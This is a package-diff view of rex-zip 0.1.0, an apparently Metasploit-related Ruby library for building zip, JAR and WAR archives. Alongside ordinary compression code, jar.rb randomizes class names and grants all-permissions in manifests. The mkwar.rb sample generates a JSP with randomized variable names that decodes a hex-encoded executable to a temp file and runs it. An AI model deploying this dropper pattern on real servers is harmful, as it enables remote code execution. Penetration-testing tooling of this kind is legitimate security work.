rex-zip 0.1.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +2 -0
- data/.gitignore +9 -0
- data/.rspec +2 -0
- data/.travis.yml +5 -0
- data/CODE_OF_CONDUCT.md +52 -0
- data/Gemfile +5 -0
- data/LICENSE +27 -0
- data/README.md +52 -0
- data/Rakefile +6 -0
- data/bin/console +14 -0
- data/bin/setup +8 -0
- data/lib/rex/zip.rb +97 -0
- data/lib/rex/zip/archive.rb +130 -0
- data/lib/rex/zip/blocks.rb +184 -0
- data/lib/rex/zip/entry.rb +122 -0
- data/lib/rex/zip/jar.rb +283 -0
- data/lib/rex/zip/samples/comment.rb +32 -0
- data/lib/rex/zip/samples/mkwar.rb +138 -0
- data/lib/rex/zip/samples/mkzip.rb +19 -0
- data/lib/rex/zip/samples/recursive.rb +58 -0
- data/lib/rex/zip/version.rb +5 -0
- data/rex-zip.gemspec +26 -0
- metadata +197 -0
- metadata.gz.sig +0 -0
@@ -0,0 +1,122 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
module Rex
|
4
|
+
module Zip
|
5
|
+
|
6
|
+
#
|
7
|
+
# An Entry represents a logical file or directory to be stored in an Archive
|
8
|
+
#
|
9
|
+
class Entry
|
10
|
+
|
11
|
+
attr_accessor :name, :flags, :info, :xtra, :comment, :attrs, :central_dir_name
|
12
|
+
attr_reader :data
|
13
|
+
|
14
|
+
def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil, central_dir_name=nil)
|
15
|
+
@name = fname.unpack("C*").pack("C*")
|
16
|
+
@central_dir_name = (central_dir_name ? central_dir_name.unpack("C*").pack("C*") : nil)
|
17
|
+
@data = data.unpack("C*").pack("C*")
|
18
|
+
@xtra = xtra
|
19
|
+
@xtra ||= ''
|
20
|
+
@comment = comment
|
21
|
+
@comment ||= ''
|
22
|
+
@attrs = attrs
|
23
|
+
@attrs ||= 0
|
24
|
+
|
25
|
+
# XXX: sanitize timestmap (assume now)
|
26
|
+
timestamp ||= Time.now
|
27
|
+
@flags = CompFlags.new(0, compmeth, timestamp)
|
28
|
+
|
29
|
+
if (@data)
|
30
|
+
compress
|
31
|
+
else
|
32
|
+
@data = ''
|
33
|
+
@info = CompInfo.new(0, 0, 0)
|
34
|
+
end
|
35
|
+
@compdata ||= ''
|
36
|
+
end
|
37
|
+
|
38
|
+
def data=(val)
|
39
|
+
@data = val.unpack("C*").pack("C*")
|
40
|
+
compress
|
41
|
+
end
|
42
|
+
|
43
|
+
#
|
44
|
+
# Compress the #data and store it for later use. If this entry's compression method
|
45
|
+
# produces a larger blob than the original data, the method is changed to CM_STORE.
|
46
|
+
#
|
47
|
+
def compress
|
48
|
+
@crc = Zlib.crc32(@data, 0)
|
49
|
+
case @flags.compmeth
|
50
|
+
|
51
|
+
when CM_STORE
|
52
|
+
@compdata = @data
|
53
|
+
|
54
|
+
when CM_DEFLATE
|
55
|
+
z = Zlib::Deflate.new(Zlib::BEST_COMPRESSION)
|
56
|
+
@compdata = z.deflate(@data, Zlib::FINISH)
|
57
|
+
z.close
|
58
|
+
@compdata = @compdata[2, @compdata.length-6]
|
59
|
+
|
60
|
+
else
|
61
|
+
raise 'Unsupported compression method: %u' % @flags.compmeth
|
62
|
+
end
|
63
|
+
|
64
|
+
# if compressing doesn't help, just store it
|
65
|
+
if (@compdata.length > @data.length)
|
66
|
+
@compdata = @data
|
67
|
+
@flags.compmeth = CM_STORE
|
68
|
+
end
|
69
|
+
|
70
|
+
@info = CompInfo.new(@crc, @compdata.length, @data.length)
|
71
|
+
end
|
72
|
+
|
73
|
+
|
74
|
+
def relative_path
|
75
|
+
get_relative_path(@name)
|
76
|
+
end
|
77
|
+
|
78
|
+
def central_dir_path
|
79
|
+
return nil if @central_dir_name.to_s.strip.empty?
|
80
|
+
get_relative_path(@central_dir_name)
|
81
|
+
end
|
82
|
+
|
83
|
+
|
84
|
+
#
|
85
|
+
# Return the compressed data in a format suitable for adding to an Archive
|
86
|
+
#
|
87
|
+
def pack
|
88
|
+
# - lfh 1
|
89
|
+
lfh = LocalFileHdr.new(self)
|
90
|
+
ret = lfh.pack
|
91
|
+
|
92
|
+
# - data 1
|
93
|
+
if (@compdata)
|
94
|
+
ret << @compdata
|
95
|
+
end
|
96
|
+
|
97
|
+
if (@gpbf & GPBF_USE_DATADESC)
|
98
|
+
# - data desc 1
|
99
|
+
dd = DataDesc.new(@info)
|
100
|
+
ret << dd.pack
|
101
|
+
end
|
102
|
+
|
103
|
+
ret
|
104
|
+
end
|
105
|
+
|
106
|
+
def inspect
|
107
|
+
"#<#{self.class} name:#{name}, data:#{@data.length} bytes>"
|
108
|
+
end
|
109
|
+
|
110
|
+
private
|
111
|
+
|
112
|
+
def get_relative_path(path)
|
113
|
+
if (path[0,1] == '/')
|
114
|
+
return path[1, path.length]
|
115
|
+
end
|
116
|
+
path
|
117
|
+
end
|
118
|
+
|
119
|
+
end
|
120
|
+
|
121
|
+
end
|
122
|
+
end
|
data/lib/rex/zip/jar.rb
ADDED
@@ -0,0 +1,283 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
require 'rex/zip/archive'
|
4
|
+
|
5
|
+
module Rex
|
6
|
+
module Zip
|
7
|
+
|
8
|
+
#
|
9
|
+
# A Jar is a zip archive containing Java class files and a MANIFEST.MF listing
|
10
|
+
# those classes. Several variations exist based on the same idea of class
|
11
|
+
# files inside a zip, most notably:
|
12
|
+
# - WAR files store XML files, Java classes, JSPs and other stuff for
|
13
|
+
# servlet-based webservers (e.g.: Tomcat and Glassfish)
|
14
|
+
# - APK files are Android Package files
|
15
|
+
#
|
16
|
+
class Jar < Archive
|
17
|
+
attr_accessor :manifest
|
18
|
+
# @!attribute [rw] substitutions
|
19
|
+
# The substitutions to apply when randomizing. Randomization is designed to
|
20
|
+
# be used in packages and/or classes names.
|
21
|
+
#
|
22
|
+
# @return [Hash]
|
23
|
+
attr_accessor :substitutions
|
24
|
+
|
25
|
+
def initialize
|
26
|
+
@substitutions = {}
|
27
|
+
super
|
28
|
+
end
|
29
|
+
|
30
|
+
#
|
31
|
+
# Create a MANIFEST.MF file based on the current Archive#entries.
|
32
|
+
#
|
33
|
+
# See http://download.oracle.com/javase/1.4.2/docs/guide/jar/jar.html for
|
34
|
+
# some explanation of the format.
|
35
|
+
#
|
36
|
+
# Example MANIFEST.MF
|
37
|
+
# Manifest-Version: 1.0
|
38
|
+
# Main-Class: metasploit.Payload
|
39
|
+
#
|
40
|
+
# Name: metasploit.dat
|
41
|
+
# SHA1-Digest: WJ7cUVYUryLKfQFmH80/ADfKmwM=
|
42
|
+
#
|
43
|
+
# Name: metasploit/Payload.class
|
44
|
+
# SHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8=
|
45
|
+
#
|
46
|
+
# The SHA1-Digest lines are optional unless the jar is signed (see #sign).
|
47
|
+
#
|
48
|
+
def build_manifest(opts={})
|
49
|
+
main_class = (opts[:main_class] ? randomize(opts[:main_class]) : nil)
|
50
|
+
app_name = (opts[:app_name] ? randomize(opts[:app_name]) : nil)
|
51
|
+
existing_manifest = nil
|
52
|
+
meta_inf_exists = @entries.find_all{|item| item.name == 'META-INF/' }.length > 0
|
53
|
+
|
54
|
+
@manifest = "Manifest-Version: 1.0\r\n"
|
55
|
+
@manifest << "Main-Class: #{main_class}\r\n" if main_class
|
56
|
+
@manifest << "Application-Name: #{app_name}\r\n" if app_name
|
57
|
+
@manifest << "Permissions: all-permissions\r\n"
|
58
|
+
@manifest << "\r\n"
|
59
|
+
@entries.each { |e|
|
60
|
+
next if e.name =~ %r|/$|
|
61
|
+
if e.name == "META-INF/MANIFEST.MF"
|
62
|
+
existing_manifest = e
|
63
|
+
next
|
64
|
+
end
|
65
|
+
#next unless e.name =~ /\.class$/
|
66
|
+
@manifest << "Name: #{e.name}\r\n"
|
67
|
+
#@manifest << "SHA1-Digest: #{Digest::SHA1.base64digest(e.data)}\r\n"
|
68
|
+
@manifest << "\r\n"
|
69
|
+
}
|
70
|
+
if existing_manifest
|
71
|
+
existing_manifest.data = @manifest
|
72
|
+
else
|
73
|
+
add_file("META-INF/", '') unless meta_inf_exists
|
74
|
+
add_file("META-INF/MANIFEST.MF", @manifest)
|
75
|
+
end
|
76
|
+
end
|
77
|
+
|
78
|
+
def to_s
|
79
|
+
pack
|
80
|
+
end
|
81
|
+
|
82
|
+
#
|
83
|
+
# Length of the *compressed* blob
|
84
|
+
#
|
85
|
+
def length
|
86
|
+
pack.length
|
87
|
+
end
|
88
|
+
|
89
|
+
#
|
90
|
+
# Add multiple files from an array
|
91
|
+
#
|
92
|
+
# +files+ should be structured like so:
|
93
|
+
# [
|
94
|
+
# [ "path", "to", "file1" ],
|
95
|
+
# [ "path", "to", "file2" ]
|
96
|
+
# ]
|
97
|
+
# and +path+ should be the location on the file system to find the files to
|
98
|
+
# add. +base_dir+ will be prepended to the path inside the jar.
|
99
|
+
#
|
100
|
+
# Example:
|
101
|
+
# war = Rex::Zip::Jar.new
|
102
|
+
# war.add_file("WEB-INF/", '')
|
103
|
+
# war.add_file("WEB-INF/web.xml", web_xml)
|
104
|
+
# war.add_file("WEB-INF/classes/", '')
|
105
|
+
# files = [
|
106
|
+
# [ "servlet", "examples", "HelloWorld.class" ],
|
107
|
+
# [ "Foo.class" ],
|
108
|
+
# [ "servlet", "Bar.class" ],
|
109
|
+
# ]
|
110
|
+
# war.add_files(files, "./class_files/", "WEB-INF/classes/")
|
111
|
+
#
|
112
|
+
# The above code would create a jar with the following structure from files
|
113
|
+
# found in ./class_files/ :
|
114
|
+
#
|
115
|
+
# +- WEB-INF/
|
116
|
+
# +- web.xml
|
117
|
+
# +- classes/
|
118
|
+
# +- Foo.class
|
119
|
+
# +- servlet/
|
120
|
+
# +- Bar.class
|
121
|
+
# +- examples/
|
122
|
+
# +- HelloWorld.class
|
123
|
+
#
|
124
|
+
def add_files(files, path, base_dir="")
|
125
|
+
files.each do |file|
|
126
|
+
# Add all of the subdirectories if they don't already exist
|
127
|
+
1.upto(file.length - 1) do |idx|
|
128
|
+
full = base_dir + file[0,idx].join("/") + "/"
|
129
|
+
if !(entries.map{|e|e.name}.include?(full))
|
130
|
+
add_file(full, '')
|
131
|
+
end
|
132
|
+
end
|
133
|
+
# Now add the actual file, grabbing data from the filesystem
|
134
|
+
fd = File.open(File.join( path, file ), "rb")
|
135
|
+
data = fd.read(fd.stat.size)
|
136
|
+
fd.close
|
137
|
+
add_file(base_dir + file.join("/"), data)
|
138
|
+
end
|
139
|
+
end
|
140
|
+
|
141
|
+
#
|
142
|
+
# Add a signature to this jar given a +key+ and a +cert+. +cert+ should be
|
143
|
+
# an instance of OpenSSL::X509::Certificate and +key+ is expected to be an
|
144
|
+
# instance of one of OpenSSL::PKey::DSA or OpenSSL::PKey::RSA.
|
145
|
+
#
|
146
|
+
# This method aims to create signature files compatible with the jarsigner
|
147
|
+
# tool destributed with the JDK and any JVM should accept the resulting
|
148
|
+
# jar.
|
149
|
+
#
|
150
|
+
# === Signature contents
|
151
|
+
# Modifies the META-INF/MANIFEST.MF entry adding SHA1-Digest attributes in
|
152
|
+
# each Name section. The signature consists of two files, a .SF and a .DSA
|
153
|
+
# (or .RSA if signing with an RSA key). The .SF file is similar to the
|
154
|
+
# manifest with Name sections but the SHA1-Digest is not optional. The
|
155
|
+
# difference is in what gets hashed for the SHA1-Digest line -- in the
|
156
|
+
# manifest, it is the file's contents, in the .SF, it is the file's section
|
157
|
+
# in the manifest (including trailing newline!). The .DSA/.RSA file is a
|
158
|
+
# PKCS7 signature of the .SF file contents.
|
159
|
+
#
|
160
|
+
# === Links
|
161
|
+
# A short description of the format:
|
162
|
+
# http://download.oracle.com/javase/1.4.2/docs/guide/jar/jar.html#Signed%20JAR%20File
|
163
|
+
#
|
164
|
+
# Some info on importing a private key into a keystore which is not
|
165
|
+
# directly supported by keytool for some unfathomable reason
|
166
|
+
# http://www.agentbob.info/agentbob/79-AB.html
|
167
|
+
#
|
168
|
+
def sign(key, cert, ca_certs=nil)
|
169
|
+
m = self.entries.find { |e| e.name == "META-INF/MANIFEST.MF" }
|
170
|
+
raise RuntimeError.new("Jar has no manifest") unless m
|
171
|
+
|
172
|
+
ca_certs ||= [ cert ]
|
173
|
+
|
174
|
+
new_manifest = ''
|
175
|
+
sigdata = "Signature-Version: 1.0\r\n"
|
176
|
+
sigdata << "Created-By: 1.6.0_18 (Sun Microsystems Inc.)\r\n"
|
177
|
+
sigdata << "\r\n"
|
178
|
+
|
179
|
+
# Grab the sections of the manifest
|
180
|
+
files = m.data.split(/\r?\n\r?\n/)
|
181
|
+
if files[0] =~ /Manifest-Version/
|
182
|
+
# keep the header as is
|
183
|
+
new_manifest << files[0]
|
184
|
+
new_manifest << "\r\n\r\n"
|
185
|
+
files = files[1,files.length]
|
186
|
+
end
|
187
|
+
|
188
|
+
# The file sections should now look like this:
|
189
|
+
# "Name: metasploit/Payload.class\r\nSHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8=\r\n\r\n"
|
190
|
+
files.each do |f|
|
191
|
+
next unless f =~ /Name: (.*)/
|
192
|
+
name = $1
|
193
|
+
e = self.entries.find { |e| e.name == name }
|
194
|
+
if e
|
195
|
+
digest = OpenSSL::Digest::SHA1.digest(e.data)
|
196
|
+
manifest_section = "Name: #{name}\r\n"
|
197
|
+
manifest_section << "SHA1-Digest: #{[digest].pack('m').strip}\r\n"
|
198
|
+
manifest_section << "\r\n"
|
199
|
+
|
200
|
+
manifest_digest = OpenSSL::Digest::SHA1.digest(manifest_section)
|
201
|
+
|
202
|
+
sigdata << "Name: #{name}\r\n"
|
203
|
+
sigdata << "SHA1-Digest: #{[manifest_digest].pack('m')}\r\n"
|
204
|
+
new_manifest << manifest_section
|
205
|
+
end
|
206
|
+
end
|
207
|
+
|
208
|
+
# Now overwrite with the new manifest
|
209
|
+
m.data = new_manifest
|
210
|
+
|
211
|
+
flags = 0
|
212
|
+
flags |= OpenSSL::PKCS7::BINARY
|
213
|
+
flags |= OpenSSL::PKCS7::DETACHED
|
214
|
+
# SMIME and ATTRs are technically valid in the signature but they
|
215
|
+
# both screw up the java verifier, so don't include them.
|
216
|
+
flags |= OpenSSL::PKCS7::NOSMIMECAP
|
217
|
+
flags |= OpenSSL::PKCS7::NOATTR
|
218
|
+
|
219
|
+
signature = OpenSSL::PKCS7.sign(cert, key, sigdata, ca_certs, flags)
|
220
|
+
sigalg = case key
|
221
|
+
when OpenSSL::PKey::RSA; "RSA"
|
222
|
+
when OpenSSL::PKey::DSA; "DSA"
|
223
|
+
# Don't really know what to do if it's not DSA or RSA. Can
|
224
|
+
# OpenSSL::PKCS7 actually sign stuff with it in that case?
|
225
|
+
# Regardless, the java spec says signatures can only be RSA,
|
226
|
+
# DSA, or PGP, so just assume it's PGP and hope for the best
|
227
|
+
else; "PGP"
|
228
|
+
end
|
229
|
+
|
230
|
+
# SIGNFILE is the default name in documentation. MYKEY is probably
|
231
|
+
# more common, though because that's what keytool defaults to. We
|
232
|
+
# can probably randomize this with no ill effects.
|
233
|
+
add_file("META-INF/SIGNFILE.SF", sigdata)
|
234
|
+
add_file("META-INF/SIGNFILE.#{sigalg}", signature.to_der)
|
235
|
+
|
236
|
+
return true
|
237
|
+
end
|
238
|
+
|
239
|
+
# Adds a file to the JAR, randomizing the file name
|
240
|
+
# and the contents.
|
241
|
+
#
|
242
|
+
# @see Rex::Zip::Archive#add_file
|
243
|
+
def add_file(fname, fdata=nil, xtra=nil, comment=nil)
|
244
|
+
super(randomize(fname), randomize(fdata), xtra, comment)
|
245
|
+
end
|
246
|
+
|
247
|
+
# Adds a substitution to have into account when randomizing. Substitutions
|
248
|
+
# must be added immediately after {#initialize}.
|
249
|
+
#
|
250
|
+
# @param str [String] String to substitute. It's designed to randomize
|
251
|
+
# class and/or package names.
|
252
|
+
# @param bad [String] String containing bad characters to avoid when
|
253
|
+
# applying substitutions.
|
254
|
+
# @return [String] The substitution which will be used when randomizing.
|
255
|
+
def add_sub(str, bad = '')
|
256
|
+
if @substitutions.key?(str)
|
257
|
+
return @substitutions[str]
|
258
|
+
end
|
259
|
+
|
260
|
+
@substitutions[str] = Rex::Text.rand_text_alpha(str.length, bad)
|
261
|
+
end
|
262
|
+
|
263
|
+
# Randomizes an input by applying the `substitutions` available.
|
264
|
+
#
|
265
|
+
# @param str [String] String to randomize.
|
266
|
+
# @return [String] The input `str` with all the possible `substitutions`
|
267
|
+
# applied.
|
268
|
+
def randomize(str)
|
269
|
+
return str if str.nil?
|
270
|
+
|
271
|
+
random = str
|
272
|
+
|
273
|
+
@substitutions.each do |orig, subs|
|
274
|
+
random = str.gsub(orig, subs)
|
275
|
+
end
|
276
|
+
|
277
|
+
random
|
278
|
+
end
|
279
|
+
|
280
|
+
end
|
281
|
+
|
282
|
+
end
|
283
|
+
end
|
@@ -0,0 +1,32 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
#
|
4
|
+
# Create a zip file with comments!
|
5
|
+
#
|
6
|
+
|
7
|
+
msfbase = __FILE__
|
8
|
+
while File.symlink?(msfbase)
|
9
|
+
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
10
|
+
end
|
11
|
+
inc = File.dirname(msfbase) + '/../../..'
|
12
|
+
$:.unshift(inc)
|
13
|
+
|
14
|
+
require 'rex/zip'
|
15
|
+
|
16
|
+
# example usage
|
17
|
+
zip = Rex::Zip::Archive.new
|
18
|
+
zip.add_file("elite.txt", "A" * 1024, nil, %Q<
|
19
|
+
+---------------+
|
20
|
+
| file comment! |
|
21
|
+
+---------------+
|
22
|
+
>)
|
23
|
+
zip.set_comment(%Q<
|
24
|
+
|
25
|
+
+------------------------------------------+
|
26
|
+
| |
|
27
|
+
| Hello! This is the Zip Archive comment! |
|
28
|
+
| |
|
29
|
+
+------------------------------------------+
|
30
|
+
|
31
|
+
>)
|
32
|
+
zip.save_to("lolz.zip")
|
@@ -0,0 +1,138 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
#
|
4
|
+
# Create a WAR archive!
|
5
|
+
#
|
6
|
+
|
7
|
+
msfbase = __FILE__
|
8
|
+
while File.symlink?(msfbase)
|
9
|
+
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
10
|
+
end
|
11
|
+
inc = File.dirname(msfbase) + '/../../..'
|
12
|
+
$:.unshift(inc)
|
13
|
+
|
14
|
+
|
15
|
+
require 'rex/zip'
|
16
|
+
|
17
|
+
|
18
|
+
def rand_text_alpha(len)
|
19
|
+
buff = ""
|
20
|
+
|
21
|
+
foo = []
|
22
|
+
foo += ('A' .. 'Z').to_a
|
23
|
+
foo += ('a' .. 'z').to_a
|
24
|
+
|
25
|
+
# Generate a buffer from the remaining bytes
|
26
|
+
if foo.length >= 256
|
27
|
+
len.times { buff << Kernel.rand(256) }
|
28
|
+
else
|
29
|
+
len.times { buff << foo[ rand(foo.length) ] }
|
30
|
+
end
|
31
|
+
|
32
|
+
return buff
|
33
|
+
end
|
34
|
+
|
35
|
+
|
36
|
+
exe = "exe " * 1024
|
37
|
+
var_payload = "var_payload"
|
38
|
+
var_name = "var_name"
|
39
|
+
|
40
|
+
|
41
|
+
zip = Rex::Zip::Archive.new
|
42
|
+
|
43
|
+
# begin meta-inf/
|
44
|
+
minf = [ 0xcafe, 0x0003 ].pack('Vv')
|
45
|
+
zip.add_file('META-INF/', nil, minf)
|
46
|
+
# end meta-inf/
|
47
|
+
|
48
|
+
# begin meta-inf/manifest.mf
|
49
|
+
mfraw = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
|
50
|
+
zip.add_file('META-INF/MANIFEST.MF', mfraw)
|
51
|
+
# end meta-inf/manifest.mf
|
52
|
+
|
53
|
+
# begin web-inf/
|
54
|
+
zip.add_file('WEB-INF/', '')
|
55
|
+
# end web-inf/
|
56
|
+
|
57
|
+
# begin web-inf/web.xml
|
58
|
+
webxmlraw = %q{<?xml version="1.0" ?>
|
59
|
+
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
|
60
|
+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
61
|
+
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
|
62
|
+
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
|
63
|
+
version="2.4">
|
64
|
+
<servlet>
|
65
|
+
<servlet-name>NAME</servlet-name>
|
66
|
+
<jsp-file>/PAYLOAD.jsp</jsp-file>
|
67
|
+
</servlet>
|
68
|
+
</web-app>
|
69
|
+
}
|
70
|
+
|
71
|
+
webxmlraw.gsub!(/NAME/, var_name)
|
72
|
+
webxmlraw.gsub!(/PAYLOAD/, var_payload)
|
73
|
+
|
74
|
+
zip.add_file('WEB-INF/web.xml', webxmlraw)
|
75
|
+
# end web-inf/web.xml
|
76
|
+
|
77
|
+
# begin <payload>.jsp
|
78
|
+
var_hexpath = rand_text_alpha(rand(8)+8)
|
79
|
+
var_exepath = rand_text_alpha(rand(8)+8)
|
80
|
+
var_data = rand_text_alpha(rand(8)+8)
|
81
|
+
var_inputstream = rand_text_alpha(rand(8)+8)
|
82
|
+
var_outputstream = rand_text_alpha(rand(8)+8)
|
83
|
+
var_numbytes = rand_text_alpha(rand(8)+8)
|
84
|
+
var_bytearray = rand_text_alpha(rand(8)+8)
|
85
|
+
var_bytes = rand_text_alpha(rand(8)+8)
|
86
|
+
var_counter = rand_text_alpha(rand(8)+8)
|
87
|
+
var_char1 = rand_text_alpha(rand(8)+8)
|
88
|
+
var_char2 = rand_text_alpha(rand(8)+8)
|
89
|
+
var_comb = rand_text_alpha(rand(8)+8)
|
90
|
+
var_exe = rand_text_alpha(rand(8)+8)
|
91
|
+
var_hexfile = rand_text_alpha(rand(8)+8)
|
92
|
+
var_proc = rand_text_alpha(rand(8)+8)
|
93
|
+
|
94
|
+
jspraw = "<%@ page import=\"java.io.*\" %>\n"
|
95
|
+
jspraw << "<%\n"
|
96
|
+
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"#{var_hexfile}.txt\";\n"
|
97
|
+
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
|
98
|
+
jspraw << "String #{var_data} = \"\";\n"
|
99
|
+
|
100
|
+
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
|
101
|
+
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
|
102
|
+
jspraw << "}\n"
|
103
|
+
|
104
|
+
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
|
105
|
+
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
|
106
|
+
|
107
|
+
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
|
108
|
+
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
|
109
|
+
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
|
110
|
+
jspraw << "#{var_inputstream}.close();\n"
|
111
|
+
|
112
|
+
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
|
113
|
+
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
|
114
|
+
jspraw << "{\n"
|
115
|
+
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
|
116
|
+
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
|
117
|
+
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
|
118
|
+
jspraw << "#{var_comb} <<= 4;\n"
|
119
|
+
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
|
120
|
+
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
|
121
|
+
jspraw << "}\n"
|
122
|
+
|
123
|
+
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
|
124
|
+
jspraw << "#{var_outputstream}.close();\n"
|
125
|
+
|
126
|
+
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
|
127
|
+
jspraw << "%>\n"
|
128
|
+
|
129
|
+
zip.add_file("#{var_payload}.jsp", jspraw)
|
130
|
+
# end <payload>.jsp
|
131
|
+
|
132
|
+
# begin <payload>.txt
|
133
|
+
payloadraw = exe.unpack('H*')[0]
|
134
|
+
zip.add_file("#{var_hexfile}.txt", payloadraw)
|
135
|
+
# end <payload>.txt
|
136
|
+
|
137
|
+
|
138
|
+
zip.save_to("test.war")
|